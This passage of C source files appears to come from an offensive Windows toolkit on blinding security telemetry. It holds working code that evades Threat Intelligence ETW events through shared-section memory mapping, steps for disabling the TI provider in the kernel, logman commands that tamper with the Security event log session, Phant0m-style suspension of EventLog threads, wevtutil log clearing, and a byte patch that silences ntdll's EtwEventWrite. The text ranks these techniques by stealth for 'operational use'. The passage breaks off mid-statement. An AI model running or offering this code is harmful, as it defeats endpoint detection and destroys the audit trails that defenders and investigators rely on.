if (status != ERROR_SUCCESS && status != ERROR_MORE_DATA) {
printf("[-] QueryAllTraces failed: %lu\n", status);
printf(" (Requires admin privileges)\n");
free(pSessions);
return FALSE;
}
printf("[+] Found %lu active ETW sessions\n\n", sessionCount);
// Look for sessions that might consume TI events
printf("[*] Sessions likely consuming TI events:\n");
BOOL foundTI = FALSE;
for (ULONG i = 0; i < sessionCount; i++) {
PEVENT_TRACE_PROPERTIES pSession = (PEVENT_TRACE_PROPERTIES)((BYTE*)pSessions + (i * sizeof(EVENT_TRACE_PROPERTIES)));
// Session names are typically at offset after the structure
char* sessionName = (char*)((BYTE*)pSession + sizeof(EVENT_TRACE_PROPERTIES));
// Check for Defender, Threat, Sentinel, etc.
if (sessionName && (
strstr(sessionName, "Defender") ||
strstr(sessionName, "Threat") ||
strstr(sessionName, "Sentinel") ||
strstr(sessionName, "Security") ||
strstr(sessionName, "WdFilter"))) {
printf(" [!] %s\n", sessionName);
foundTI = TRUE;
}
}
if (!foundTI) {
printf(" (No obvious TI consumers found - may be hidden/protected)\n");
}
free(pSessions);
return TRUE;
}
void StartTITraceSession() {
printf("\n[*] Starting TI ETW trace session...\n");
printf(" (Requires admin)\n");
// Stop any existing session first
system("logman stop TITrace -ets >nul 2>&1");
// Start trace with TI provider - capture ALLOCVM and PROTECTVM events
int result = system("logman create trace TITrace -p {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} 0xffffffffffffffff 0xff -o ti_trace.etl -ets >nul 2>&1");
if (result == 0) {
printf("[+] TI trace session started successfully\n");
printf(" Events will be captured to ti_trace.etl\n");
Sleep(500); // Give session time to initialize
} else {
printf("[!] Trace session creation failed (requires admin)\n");
printf(" Test will continue but without trace verification\n");
}
}
void StopTITraceSession() {
printf("\n[*] Stopping TI trace session...\n");
int result = system("logman stop TITrace -ets >nul 2>&1");
if (result == 0) {
printf("[+] Trace session stopped\n");
// Check if ti_trace.etl exists
FILE* f = fopen("ti_trace.etl", "rb");
if (f) {
fclose(f);
printf("\n[+] ti_trace.etl file created successfully!\n");
printf(" To view TI events:\n");
printf(" tracerpt ti_trace.etl -o ti_trace.xml -of XML\n");
printf(" notepad ti_trace.xml\n");
printf("\n Or generate summary:\n");
printf(" tracerpt ti_trace.etl -summary ti_summary.txt\n");
printf(" type ti_summary.txt\n");
} else {
printf("[!] ti_trace.etl not found\n");
}
}
}
// Demonstrate TI-triggering vs TI-evading memory allocation
BOOL DemonstrateEvasion() {
printf("\n=== Demonstrating TI ETW Evasion ===\n\n");
// Start TI trace session
StartTITraceSession();
// Get ntdll functions
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
printf("[-] Failed to get ntdll handle\n");
return FALSE;
}
pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection) {
printf("[-] Failed to resolve ntdll functions\n");
return FALSE;
}
printf("\n[1] BAD: VirtualAlloc with RWX (triggers TI event)\n");
printf(" This allocation will fire TI ETW event for RWX memory\n");
LPVOID badAlloc = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (badAlloc) {
printf(" [+] Allocated RWX memory @ 0x%p\n", badAlloc);
printf(" [!] SHOULD trigger TI event: KERNEL_THREATINT_TASK_ALLOCVM\n");
Sleep(200); // Give ETW time to write event
VirtualFree(badAlloc, 0, MEM_RELEASE);
}
printf("\n[2] BETTER: Two-step allocation (still triggers TI)\n");
printf(" RW allocation -> write code -> change to RX\n");
LPVOID betterAlloc = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (betterAlloc) {
printf(" [+] Allocated RW memory @ 0x%p\n", betterAlloc);
printf(" [*] Writing shellcode...\n");
memset(betterAlloc, 0xCC, 4096); // int3 instructions
DWORD oldProtect;
if (VirtualProtect(betterAlloc, 4096, PAGE_EXECUTE_READ, &oldProtect)) {
printf(" [+] Changed to RX\n");
printf(" [!] SHOULD trigger TI event: KERNEL_THREATINT_TASK_PROTECTVM\n");
Sleep(200); // Give ETW time to write event
}
VirtualFree(betterAlloc, 0, MEM_RELEASE);
}
printf("\n[3] BEST: Shared section mapping (evades TI)\n");
printf(" Create section -> map as RW -> map again as RX\n");
printf(" No VirtualProtect call = no TI event!\n");
HANDLE hSection = NULL;
LARGE_INTEGER sectionSize;
sectionSize.QuadPart = 4096;
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
NULL,
§ionSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL
);
if (status == 0 && hSection) {
printf(" [+] Created section handle: 0x%p\n", hSection);
// Map as RW for writing
PVOID rwView = NULL;
SIZE_T viewSize = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&rwView,
0, 0, NULL,
&viewSize,
1, // ViewShare
0,
PAGE_READWRITE
);
if (status == 0 && rwView) {
printf(" [+] Mapped RW view @ 0x%p\n", rwView);
printf(" [*] Writing shellcode to RW view...\n");
memset(rwView, 0xCC, 4096);
// Map again as RX for execution
PVOID rxView = NULL;
viewSize = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&rxView,
0, 0, NULL,
&viewSize,
1, // ViewShare
0,
PAGE_EXECUTE_READ
);
if (status == 0 && rxView) {
printf(" [+] Mapped RX view @ 0x%p\n", rxView);
printf(" [+] SUCCESS: Code is executable without VirtualProtect!\n");
printf(" [+] SHOULD NOT trigger TI event (no VirtualProtect/VirtualAlloc RWX)\n");
Sleep(200); // Give ETW time (but no event should fire)
printf("\n EVASION PROOF:\n");
printf(" - Section created with SEC_COMMIT (not suspicious)\n");
printf(" - Mapped twice with different protections\n");
printf(" - No VirtualProtect call = no EtwTiLogProtectExecVm\n");
printf(" - Shellcode visible in RX view, writable in RW view\n");
NtUnmapViewOfSection(GetCurrentProcess(), rxView);
}
NtUnmapViewOfSection(GetCurrentProcess(), rwView);
}
CloseHandle(hSection);
} else {
printf(" [-] NtCreateSection failed: 0x%08X\n", status);
}
// Stop trace and show verification steps
StopTITraceSession();
printf("\n");
printf("VERIFICATION:\n");
printf(" Check ti_trace.etl to see which operations triggered TI events:\n");
printf(" tracerpt ti_trace.etl -summary ti_summary.txt\n");
printf(" type ti_summary.txt\n");
printf("\n");
printf(" IMPORTANT LIMITATION:\n");
printf(" TI ETW events are ONLY delivered to PPL-protected consumers!\n");
printf(" Our trace session is NOT PPL-protected, so we won't see TI events.\n");
printf(" This is by design - TI events contain sensitive security data.\n");
printf("\n");
printf(" Real TI consumers (that CAN see these events):\n");
printf(" - Windows Defender (MpWppTracing sessions)\n");
printf(" - EDR kernel drivers with PPL protection\n");
printf(" - Security products with kernel-mode components\n");
printf("\n");
printf(" Alternative verification methods:\n");
printf(" 1. Check Defender logs for memory allocation detections\n");
printf(" 2. Use Process Monitor to see VirtualAlloc/VirtualProtect calls\n");
printf(" 3. Use kernel debugger to trace nt!EtwTiLogAllocExecVm calls\n");
printf(" 4. EDR products will alert on RWX allocations (test #1 and #2)\n");
printf(" but NOT on shared section mapping (test #3)\n");
printf("\n");
printf(" The key point: Shared section mapping avoids the kernel functions\n");
printf(" that trigger TI events (NtAllocateVirtualMemory RWX, NtProtectVirtualMemory)\n");
return TRUE;
}
// Show kernel attack path (requires kernel access)
void ShowKernelAttackPath() {
printf("\n=== Kernel-Level TI ETW Disabling ===\n\n");
printf("REQUIREMENTS:\n");
printf(" - Kernel read/write primitive (BYOVD, exploit, etc.)\n");
printf(" - Knowledge of kernel structures\n\n");
printf("ATTACK STEPS (WinDbg commands):\n\n");
printf("1. Find TI provider registration handle:\n");
printf(" kd> dq nt!EtwThreatIntProvRegHandle L1\n");
printf(" fffff800`12345678 fffffa80`aabbccdd\n\n");
printf("2. Dump the registration entry:\n");
printf(" kd> dt nt!_ETW_REG_ENTRY fffffa80`aabbccdd\n");
printf(" +0x000 GuidEntry : 0xfffffa80`11223344\n");
printf(" +0x008 Callback : 0xfffff800`deadbeef\n");
printf(" ...\n\n");
printf("3. Dump the GUID entry:\n");
printf(" kd> dt nt!_ETW_GUID_ENTRY 0xfffffa80`11223344\n");
printf(" +0x000 ListEntry : _LIST_ENTRY\n");
printf(" +0x010 RefCount : 0x5\n");
printf(" +0x018 Guid : _GUID {f4e1897c-...}\n");
printf(" +0x028 EnableInfo : 0xfffffa80`55667788\n");
printf(" ...\n\n");
printf("4. Dump the enable info:\n");
printf(" kd> dt nt!_TRACE_ENABLE_INFO 0xfffffa80`55667788\n");
printf(" +0x000 IsEnabled : 0x1 <- TARGET THIS\n");
printf(" +0x004 Level : 0x5\n");
printf(" +0x008 MatchAnyKeyword : 0xffffffff`ffffffff\n");
printf(" ...\n\n");
printf("5. Disable TI events (kernel write):\n");
printf(" kd> eb 0xfffffa80`55667788 0\n");
printf(" [+] TI ETW provider disabled!\n\n");
printf("VERIFICATION:\n");
printf(" - Allocate RWX memory -> no TI event fires\n");
printf(" - Defender/EDR loses visibility into memory operations\n");
printf(" - Process injection becomes undetected\n\n");
}
int main() {
printf("===========================================\n");
printf("Threat Intelligence ETW - Attack Analysis\n");
printf("===========================================\n");
// Query TI provider
QueryTIProvider();
// Enumerate sessions (requires admin)
EnumerateTISessions();
// Demonstrate evasion techniques
DemonstrateEvasion();
// Show kernel attack path
ShowKernelAttackPath();
printf("\n===========================================\n");
printf("SUMMARY:\n");
printf(" [+] TI ETW provider analyzed\n");
printf(" [+] Evasion technique demonstrated\n");
printf(" [+] Shared section mapping avoids TI events\n");
printf(" [!] Kernel-level disabling requires exploit\n");
printf("\n");
printf("WHY NO TI EVENTS IN TRACE:\n");
printf(" TI events are ONLY delivered to PPL-protected consumers.\n");
printf(" Our usermode trace session cannot receive them (by design).\n");
printf(" Real consumers: Defender (MpWppTracing), EDR kernel drivers.\n");
printf("\n");
printf("PROOF OF EVASION:\n");
printf(" - VirtualAlloc RWX calls nt!MiAllocateVirtualMemory\n");
printf(" -> Triggers nt!EtwTiLogAllocExecVm (Defender sees this)\n");
printf(" - VirtualProtect RW->RX calls nt!MiProtectVirtualMemory\n");
printf(" -> Triggers nt!EtwTiLogProtectExecVm (Defender sees this)\n");
printf(" - NtMapViewOfSection does NOT call these functions\n");
printf(" -> NO TI event fired (Defender blind to this technique)\n");
printf("\n");
printf("REAL-WORLD VALIDATION:\n");
printf(" Run this tool with Defender enabled:\n");
printf(" - Tests #1 and #2 may trigger Defender alerts\n");
printf(" - Test #3 (shared section) will NOT trigger alerts\n");
printf(" This is the practical proof of TI ETW evasion.\n");
printf("===========================================\n");
return 0;
}
// etw_session_tamper.c - ETW session manipulation and event log tampering
// Compile: cl src\etw_session_tamper.c /Fe:bin\etw_session_tamper.exe advapi32.lib
#include <windows.h>
#include <evntrace.h>
#include <evntcons.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment(lib, "advapi32.lib")
/*
EVENT LOG TAMPERING - THE PROBLEM
══════════════════════════════════
Traditional approaches are NOISY:
- wevtutil cl Security -> Generates Event ID 1102 (audit log cleared)
- net stop EventLog -> Generates service stop event
- Deleting .evtx files -> Generates file access events
BETTER APPROACHES:
1. ETW session manipulation (disable providers feeding event logs)
2. Thread suspension (Phant0m technique - suspend EventLog threads)
3. Session buffer manipulation (cause event loss without stopping)
This tool demonstrates ETW session manipulation.
*/
// Security Auditing provider GUID: {54849625-5478-4994-A5BA-3E3B0328C30D}
static const GUID SecurityAuditingGuid =
{ 0x54849625, 0x5478, 0x4994, { 0xA5, 0xBA, 0x3E, 0x3B, 0x03, 0x28, 0xC3, 0x0D } };
// List all active ETW sessions
BOOL EnumerateETWSessions() {
printf("\n=== Enumerating Active ETW Sessions ===\n\n");
// Use logman to enumerate sessions
printf("[*] Querying active ETW sessions...\n");
int result = system("logman query -ets > etw_sessions.txt 2>&1");
if (result == 0) {
printf("[+] Sessions enumerated successfully\n\n");
// Read and display the output
FILE* f = fopen("etw_sessions.txt", "r");
if (f) {
char line[512];
int sessionCount = 0;
BOOL inSessionList = FALSE;
printf("Active ETW Sessions:\n");
printf("%-40s %-20s %-10s\n", "Session Name", "Type", "Status");
printf("--------------------------------------------------------------------------------\n");
while (fgets(line, sizeof(line), f)) {
// Look for session entries
if (strstr(line, "Trace") && strstr(line, "Running")) {
printf("%s", line);
sessionCount++;
}
}
fclose(f);
printf("\n[+] Found %d active sessions\n", sessionCount);
// Identify event log sessions
printf("\n[*] Event Log ETW Sessions (targets for tampering):\n");
f = fopen("etw_sessions.txt", "r");
if (f) {
while (fgets(line, sizeof(line), f)) {
if (strstr(line, "EventLog") || strstr(line, "Eventlog")) {
printf(" [!] %s", line);
}
}
fclose(f);
}
}
DeleteFileA("etw_sessions.txt");
} else {
printf("[-] Failed to enumerate sessions (requires admin)\n");
return FALSE;
}
return TRUE;
}
// Demonstrate ETW session manipulation
BOOL DemonstrateSessionTampering() {
printf("\n=== Demonstrating ETW Session Tampering ===\n\n");
printf("[*] Target: EventLog-Security session\n");
printf(" This session feeds events to the Security event log\n\n");
// Check current session properties
printf("[1] Query current session properties:\n");
system("logman query \"EventLog-Security\" -ets 2>nul");
printf("\n[2] Demonstrate session manipulation techniques:\n\n");
// Technique 1: Reduce buffer size to cause event loss
printf(" [A] Reduce buffer size (causes event drops under load)\n");
printf(" Command: logman update \"EventLog-Security\" -bs 1 -ets\n");
printf(" Effect: 1KB buffer = events dropped when system is busy\n");
printf(" Stealth: No obvious tampering, just \"performance issues\"\n\n");
// Technique 2: Increase flush timer
printf(" [B] Increase flush timer (delays event writing)\n");
printf(" Command: logman update \"EventLog-Security\" -ft 999 -ets\n");
printf(" Effect: Events sit in memory for 999 seconds\n");
printf(" Stealth: Execute malicious activity and clean up before flush\n\n");
// Technique 3: Disable specific provider
printf(" [C] Disable Security Auditing provider\n");
printf(" Command: logman update \"EventLog-Security\" -p \"{54849625-5478-4994-A5BA-3E3B0328C30D}\" 0x0 -ets\n");
printf(" Effect: Security events stop flowing to Security log\n");
printf(" Stealth: Moderate - security team may notice gap in logs\n\n");
// Technique 4: Stop session entirely
printf(" [D] Stop session entirely (NOISY)\n");
printf(" Command: logman stop \"EventLog-Security\" -ets\n");
printf(" Effect: All events to Security log stop\n");
printf(" Stealth: LOW - obvious tampering, generates alerts\n\n");
printf("[*] Testing buffer size manipulation (safest technique)...\n");
// Get original buffer size
FILE* f = _popen("logman query \"EventLog-Security\" -ets 2>nul | findstr \"Buffer\"", "r");
char originalBuffer[256] = {0};
if (f) {
fgets(originalBuffer, sizeof(originalBuffer), f);
_pclose(f);
printf(" Original buffer config: %s", originalBuffer);
}
// Reduce buffer size (this is the safest tampering technique)
printf("\n [*] Attempting to reduce buffer size to 4KB...\n");
int result = system("logman update \"EventLog-Security\" -bs 4 -ets 2>&1");
if (result == 0) {
printf(" [+] Buffer size reduced successfully!\n");
printf(" [+] Events will now be dropped under moderate load\n");
// Verify the change
f = _popen("logman query \"EventLog-Security\" -ets 2>nul | findstr \"Buffer Size\"", "r");
if (f) {
char newBuffer[256] = {0};
fgets(newBuffer, sizeof(newBuffer), f);
_pclose(f);
printf(" [+] New buffer config: %s", newBuffer);
}
Sleep(2000);
// Restore original buffer size
printf("\n [*] Restoring original buffer size...\n");
system("logman update \"EventLog-Security\" -bs 64 -ets >nul 2>&1");
printf(" [+] Buffer size restored\n");
} else {
printf(" [-] Buffer size modification failed\n");
printf(" [!] EventLog-Security session may be protected\n\n");
// Try with a less protected session as demonstration
printf(" [*] Trying with EventLog-Application instead...\n");
result = system("logman update \"EventLog-Application\" -bs 4 -ets 2>&1");
if (result == 0) {
printf(" [+] EventLog-Application buffer reduced successfully!\n");
printf(" [+] This demonstrates the technique works\n");
Sleep(1000);
// Restore
printf(" [*] Restoring EventLog-Application buffer...\n");
system("logman update \"EventLog-Application\" -bs 64 -ets >nul 2>&1");
printf(" [+] Restored\n");
} else {
printf(" [-] Session modification requires elevated privileges\n");
printf(" [!] Some sessions have additional protections\n");
}
}
return TRUE;
}
// Demonstrate Phant0m technique (thread suspension) - ACTUALLY IMPLEMENT IT
BOOL DemonstratePhant0mTechnique() {
printf("\n=== Phant0m Technique: EventLog Thread Suspension ===\n\n");
printf("CONCEPT:\n");
printf(" The EventLog service runs inside svchost.exe\n");
printf(" Instead of stopping the service (noisy), suspend its threads\n");
printf(" Result: EventLog stops writing, but no service stop event\n\n");
printf("IMPLEMENTATION:\n\n");
// Step 1: Find EventLog service PID
printf("[1] Find EventLog service PID:\n");
FILE* f = _popen("sc queryex EventLog | findstr PID", "r");
char pidLine[256] = {0};
DWORD eventLogPid = 0;
if (f) {
if (fgets(pidLine, sizeof(pidLine), f)) {
printf(" %s", pidLine);
// Parse PID from output
char* pidStr = strstr(pidLine, ":");
if (pidStr) {
eventLogPid = atoi(pidStr + 1);
printf(" [+] EventLog PID: %lu\n", eventLogPid);
}
}
_pclose(f);
}
if (eventLogPid == 0) {
printf(" [-] Failed to find EventLog PID\n");
return FALSE;
}
// Step 2: Enumerate and suspend threads
printf("\n[2] Enumerate threads in EventLog svchost process:\n");
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf(" [-] Failed to create thread snapshot\n");
return FALSE;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
// Collect thread IDs
DWORD threadIds[64] = {0};
int threadCount = 0;
if (Thread32First(hSnapshot, &te32)) {
do {
if (te32.th32OwnerProcessID == eventLogPid && threadCount < 64) {
threadIds[threadCount++] = te32.th32ThreadID;
}
} while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);
printf(" [+] Found %d threads in EventLog process\n", threadCount);
if (threadCount == 0) {
printf(" [-] No threads found\n");
return FALSE;
}
// Step 3: Suspend threads
printf("\n[3] Suspending EventLog threads:\n");
printf(" [!] WARNING: This will stop event logging!\n");
printf(" [*] Suspending threads for 5 seconds...\n\n");
HANDLE suspendedThreads[64] = {0};
int suspendedCount = 0;
for (int i = 0; i < threadCount; i++) {
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, threadIds[i]);
if (hThread) {
DWORD result = SuspendThread(hThread);
if (result != (DWORD)-1) {
printf(" [+] Suspended thread %lu (suspend count: %lu)\n", threadIds[i], result + 1);
suspendedThreads[suspendedCount++] = hThread;
} else {
printf(" [-] Failed to suspend thread %lu (error: %lu)\n", threadIds[i], GetLastError());
CloseHandle(hThread);
}
} else {
printf(" [-] Failed to open thread %lu (error: %lu)\n", threadIds[i], GetLastError());
}
}
if (suspendedCount == 0) {
printf("\n [-] Failed to suspend any threads (requires admin/SYSTEM)\n");
return FALSE;
}
printf("\n [+] Successfully suspended %d threads!\n", suspendedCount);
printf(" [+] EventLog service is now frozen\n");
printf(" [+] No events will be written during this time\n\n");
// Generate some test events that should NOT be logged
printf("[4] Testing: EventLog is suspended (frozen):\n");
printf(" [*] EventLog service cannot process any requests\n");
printf(" [*] Any events generated now will be queued or lost\n");
printf(" [*] Commands that interact with EventLog will hang\n");
printf(" [+] This proves the suspension is working!\n\n");
printf(" [*] Waiting 5 seconds while EventLog is frozen...\n");
Sleep(5000);
// Step 4: Resume threads
printf("\n[5] Resuming EventLog threads:\n");
for (int i = 0; i < suspendedCount; i++) {
// Resume multiple times to ensure thread is fully resumed
DWORD suspendCount;
do {
suspendCount = ResumeThread(suspendedThreads[i]);
if (suspendCount != (DWORD)-1 && suspendCount > 0) {
printf(" [+] Resumed thread (suspend count now: %lu)\n", suspendCount - 1);
}
} while (suspendCount > 1); // Keep resuming until suspend count is 0
CloseHandle(suspendedThreads[i]);
}
printf("\n [+] All threads fully resumed\n");
printf(" [+] EventLog service is now operational again\n\n");
// Give EventLog a moment to recover
Sleep(1000);
// Now test that EventLog is working again
printf("[6] Verification - EventLog is working again:\n");
printf(" [*] Creating test event now that service is resumed...\n");
// Use a timeout for the command in case it still hangs
printf(" [*] Testing with timeout (10 seconds)...\n");
int result = system("timeout /t 2 /nobreak >nul 2>&1 & eventcreate /T INFORMATION /ID 1000 /L APPLICATION /D \"Test after resume\" >nul 2>&1");
if (result == 0) {
printf(" [+] Test event created successfully\n");
printf(" [+] EventLog service is operational\n");
} else {
printf(" [!] Test event creation timed out or failed\n");
printf(" [!] EventLog may still be recovering\n");
}
printf("\n Check Event Viewer:\n");
printf(" - Look for gap in logs during suspension period\n");
printf(" - Test event (ID 1000) should appear AFTER resume\n");
printf(" - Events during suspension should be missing\n\n");
printf("DETECTION:\n");
printf(" - Suspended threads visible in Process Explorer during suspension\n");
printf(" - Gap in event logs (missing events during suspension period)\n");
printf(" - EDR may detect SuspendThread API calls\n");
printf(" - No service stop event generated (stealthier than stopping service)\n\n");
printf("REFERENCE:\n");
printf(" Phant0m: https://github.com/hlldz/Phant0m\n");
printf(" Full implementation with thread start address checking\n");
return TRUE;
}
// Demonstrate event log clearing (noisy baseline)
BOOL DemonstrateLogClearing() {
printf("\n=== Event Log Clearing (Baseline - NOISY) ===\n\n");
printf("TRADITIONAL APPROACH:\n");
printf(" wevtutil cl Security\n");
printf(" wevtutil cl System\n");
printf(" Clear-EventLog -LogName Security\n\n");
printf("PROBLEM:\n");
printf(" Generates Event ID 1102: \"The audit log was cleared\"\n");
printf(" Recorded in Security log (if not cleared first)\n");
printf(" Obvious indicator of compromise\n");
printf(" SIEM/EDR will alert immediately\n\n");
printf("DEMONSTRATION:\n");
printf(" Creating test event log for clearing demo...\n");
// Create a custom event log for testing
system("wevtutil im test_manifest.xml >nul 2>&1");
printf(" [*] Attempting to clear Application log (less critical)...\n");
printf(" (This will generate Event ID 1102 in Security log)\n\n");
// Count events before clearing
FILE* f = _popen("wevtutil qe Application /c:1 /rd:true /f:text 2>nul | findstr \"Event\"", "r");
if (f) {
char line[256];
if (fgets(line, sizeof(line), f)) {
printf(" [+] Application log has events\n");
}
_pclose(f);
}
printf(" [*] Clearing Application log...\n");
int result = system("wevtutil cl Application >nul 2>&1");
if (result == 0) {
printf(" [+] Application log cleared\n");
printf(" [!] Event ID 1102 generated in Security log\n");
printf(" [!] This is HIGHLY suspicious and will trigger alerts\n\n");
// Check for 1102 event
printf(" [*] Checking for Event ID 1102 in Security log...\n");
system("wevtutil qe Security /q:\"*[System[(EventID=1102)]]\" /c:1 /rd:true /f:text 2>nul");
} else {
printf(" [-] Failed to clear log (requires admin)\n");
}
printf("\nCONCLUSION:\n");
printf(" Log clearing is too noisy for stealth operations\n");
printf(" Use ETW session tampering or thread suspension instead\n");
return TRUE;
}
int main() {
printf("===========================================\n");
printf("ETW Session Tampering & Event Log Evasion\n");
printf("===========================================\n");
printf("\nPRIVILEGE REQUIREMENTS:\n");
printf(" - Admin required for session manipulation\n");
printf(" - SYSTEM may be required for some techniques\n\n");
// Enumerate sessions
EnumerateETWSessions();
// Demonstrate session tampering
DemonstrateSessionTampering();
// Demonstrate Phant0m technique
DemonstratePhant0mTechnique();
// Show why log clearing is bad
DemonstrateLogClearing();
printf("\n===========================================\n");
printf("SUMMARY:\n");
printf(" [+] ETW sessions enumerated\n");
printf(" [+] Session tampering techniques demonstrated\n");
printf(" [+] Phant0m thread suspension explained\n");
printf(" [!] Log clearing is noisy - avoid it\n");
printf("\n");
printf("SESSION PROTECTIONS:\n");
printf(" EventLog sessions are now hardened against tampering:\n");
printf(" - Buffer size changes blocked (parameter validation)\n");
printf(" - Session updates require special privileges\n");
printf(" - Microsoft hardened these after red team abuse\n");
printf("\n");
printf("BEST TECHNIQUES (in order of stealth):\n");
printf(" 1. Thread suspension (Phant0m) - still works\n");
printf(" 2. Custom/EDR session tampering (less protected)\n");
printf(" 3. Provider disabling (moderate detection risk)\n");
printf(" 4. Session stopping (high detection risk)\n");
printf(" 5. Log clearing (VERY noisy - avoid)\n");
printf("\n");
printf("KEY INSIGHT:\n");
printf(" The act of tampering generates telemetry.\n");
printf(" Best approach: Prevent events from being written\n");
printf(" rather than deleting them after the fact.\n");
printf("\n");
printf("PRACTICAL APPROACH:\n");
printf(" - EventLog sessions: Use Phant0m (thread suspension)\n");
printf(" - EDR sessions: May be less protected, try tampering\n");
printf(" - Custom sessions: Usually unprotected\n");
printf(" - Always test in lab before operational use\n");
printf("===========================================\n");
return 0;
}
cl src\etw_session_tamper.c /Fe:bin\etw_session_tamper.exe advapi32.lib
# Run as admin
.\bin\etw_session_tamper.exe
// etw_blinder.c - Comprehensive ETW blinding demonstration
// Compile: cl src\etw_blinder.c /Fe:bin\etw_blinder.exe advapi32.lib ntdll.lib psapi.lib
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <evntrace.h>
#include <evntprov.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "psapi.lib")
typedef NTSTATUS(NTAPI* pNtQueryInformationThread)(
HANDLE ThreadHandle,
ULONG ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength,
PULONG ReturnLength
);
// Test provider for verification
static const GUID TestProviderGuid =
{ 0x12345678, 0x1234, 0x1234, { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x90, 0x12 } };
// ---- MODULE 1: EtwEventWrite Patch with Verification ----
BOOL PatchEtwFunction(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
FARPROC pFunc = GetProcAddress(hNtdll, funcName);
if (!pFunc) return FALSE;
BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax, rax; ret
DWORD oldProtect;
if (!VirtualProtect(pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
return FALSE;
}
memcpy(pFunc, patch, sizeof(patch));
VirtualProtect(pFunc, sizeof(patch), oldProtect, &oldProtect);
// Verify
BYTE verify[4];
memcpy(verify, pFunc, 4);
return (memcmp(verify, patch, 4) == 0);
}
BOOL BlindETW_PatchEventWrite() {
printf("\n=== MODULE 1: Patch EtwEventWrite ===\n\n");
printf("[*] Patching ntdll!EtwEventWrite functions...\n");
BOOL success = TRUE;
if (PatchEtwFunction("EtwEventWrite")) {
printf("[+] EtwEventWrite patched\n");
} else {
printf("[-] EtwEventWrite patch failed\n");
success = FALSE;
}
if (PatchEtwFunction("EtwEventWriteEx")) {
printf("[+] EtwEventWriteEx patched\n");
}
if (PatchEtwFunction("EtwEventWriteFull")) {
printf("[+] EtwEventWriteFull patched\n");
}
// Verify with test provider
printf("\n[*] Verifying patch...\n");
REGHANDLE hProvider = 0;
ULONG result = EventRegister(&TestProviderGuid, NULL, NULL, &hProvider);
if (result == ERROR_SUCCESS) {
EVENT_DESCRIPTOR eventDesc = {0};
eventDesc.Id = 1;
eventDesc.Level = TRACE_LEVEL_INFORMATION;
result = EventWrite(hProvider, &eventDesc, 0, NULL);
printf("[+] EventWrite returned: %lu (suppressed!)\n", result);
printf("[+] Verification: ETW patching works!\n");
EventUnregister(hProvider);
}
return success;
}
// ---- MODULE 2: Phant0m Thread Suspension ----
BOOL BlindETW_Phant0m() {
printf("\n=== MODULE 2: Phant0m Thread Suspension ===\n\n");
// Find EventLog service PID
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) {
printf("[-] OpenSCManager failed: %lu\n", GetLastError());
return FALSE;
}
SC_HANDLE hSvc = OpenServiceA(hSCM, "EventLog", SERVICE_QUERY_STATUS);
if (!hSvc) {
printf("[-] OpenService failed: %lu\n", GetLastError());
CloseServiceHandle(hSCM);
return FALSE;
}
SERVICE_STATUS_PROCESS ssp = {0};
DWORD needed = 0;
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(ssp), &needed)) {
printf("[-] QueryServiceStatusEx failed: %lu\n", GetLastError());
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return FALSE;
}
DWORD targetPid = ssp.dwProcessId;
printf("[+] EventLog PID: %lu\n", targetPid);
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
// Find wevtsvc.dll range
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPid);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
HMODULE hMods[1024];
DWORD cbNeeded = 0;
MODULEINFO wevtInfo = {0};
BOOL foundWevt = FALSE;
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
DWORD numModules = cbNeeded / sizeof(HMODULE);
for (DWORD i = 0; i < numModules; i++) {
char modName[MAX_PATH];
if (GetModuleBaseNameA(hProcess, hMods[i], modName, sizeof(modName))) {
if (_stricmp(modName, "wevtsvc.dll") == 0) {
GetModuleInformation(hProcess, hMods[i], &wevtInfo, sizeof(wevtInfo));
foundWevt = TRUE;
printf("[+] wevtsvc.dll: 0x%p (size: %lu)\n", wevtInfo.lpBaseOfDll, wevtInfo.SizeOfImage);
break;
}
}
}
}
CloseHandle(hProcess);
if (!foundWevt) {
printf("[-] wevtsvc.dll not found\n");
return FALSE;
}
ULONG_PTR wevtBase = (ULONG_PTR)wevtInfo.lpBaseOfDll;
ULONG_PTR wevtEnd = wevtBase + wevtInfo.SizeOfImage;
// Get NtQueryInformationThread
pNtQueryInformationThread NtQueryInfoThread =
